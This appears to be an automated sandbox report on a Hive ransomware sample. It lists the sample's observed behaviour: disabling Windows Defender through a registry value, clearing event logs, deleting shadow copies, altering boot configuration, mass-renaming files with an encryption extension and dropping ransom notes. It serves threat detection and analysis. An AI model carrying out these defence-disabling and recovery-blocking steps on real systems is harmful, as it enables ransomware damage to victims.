Malware Analysis Report

2024-10-16 03:10

Sample ID 220131-n6sndshahl
Target 5592997918572544.zip
SHA256 c545b9e34fe2f9aea3d0ff14512f0b0089a835f37ae3de49a81e49a2d8cecce8
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c545b9e34fe2f9aea3d0ff14512f0b0089a835f37ae3de49a81e49a2d8cecce8

Threat Level: Known bad

The file 5592997918572544.zip was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Deletes Windows Defender Definitions

Modifies Windows Defender Real-time Protection settings

Hive

Modifies security service

Clears Windows event logs

Deletes shadow copies

Modifies boot configuration data using bcdedit

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Drops file in Windows directory

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Opens file in notepad (likely ransom note)

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Runs net.exe

Interacts with shadow copies

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-31 12:00

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-31 12:00

Reported

2022-01-31 12:03

Platform

win7-en-20211208

Max time kernel

129s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\ExitOut.raw => C:\Users\Admin\Pictures\ExitOut.raw.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\InstallTrace.tif => C:\Users\Admin\Pictures\InstallTrace.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\PingBlock.png.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\ResetDismount.tiff => C:\Users\Admin\Pictures\ResetDismount.tiff.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\ResetDismount.tiff.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\SwitchBlock.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\UseLimit.tiff.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\NewEnable.png => C:\Users\Admin\Pictures\NewEnable.png.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\NewEnable.png.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\UseLimit.tiff => C:\Users\Admin\Pictures\UseLimit.tiff.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExitOut.raw.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\PingBlock.png => C:\Users\Admin\Pictures\PingBlock.png.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\RenameClear.tif => C:\Users\Admin\Pictures\RenameClear.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\RenameClear.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File renamed C:\Users\Admin\Pictures\SwitchBlock.tif => C:\Users\Admin\Pictures\SwitchBlock.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Users\Admin\Pictures\InstallTrace.tif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR45B.GIF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\en-US\Sidebar.exe.mui C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01044_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9YDT.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-heapdump.xml.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Volgograd.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\navBack.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Swirl\TAB_OFF.GIF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\es-ES\settings.html C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\Welcome.html.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Volgograd.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\rings-dock.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107480.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CALENDAR.DPV.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\currency.html C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Office Classic 2.xml.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSTORE.HXS.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14756_.GIF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGBOXES.XML.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PICTPH.POC.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02862_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18219_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\ENVELOPE.DPV.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waxing-crescent_partly-cloudy.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\mSnL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382931.JPG.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0106124.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0172035.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveDocumentReview\ActiveTabImage.jpg.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BANNER.XML.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\AFTRNOON\mSnL_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Windows Journal\Templates\To_Do_List.jtp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\COMPASS\COMPASS.ELM.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_zh_CN.jar.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSGR3FR.LEX.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\ja-JP\wmpnssui.dll.mui C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-loaders.xml.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00199_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0149887.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\6.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office64.en-us\Office64MUI.XML.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00530_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Belem.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Biscay.css.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_IAAAACAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\01_googleimage.luac.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01235U.BMP.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_AutoMask.bmp.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ko-KR\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.xml.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Scoresbysund.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\square_settings.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\RSSFeeds.html C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01186_.WMF.ZgVaVEXqHelXqzD4tpQup0Aj7h6G7tPu0NCBHcn1GiP_AAAAAAAAAAA0.3phpp C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
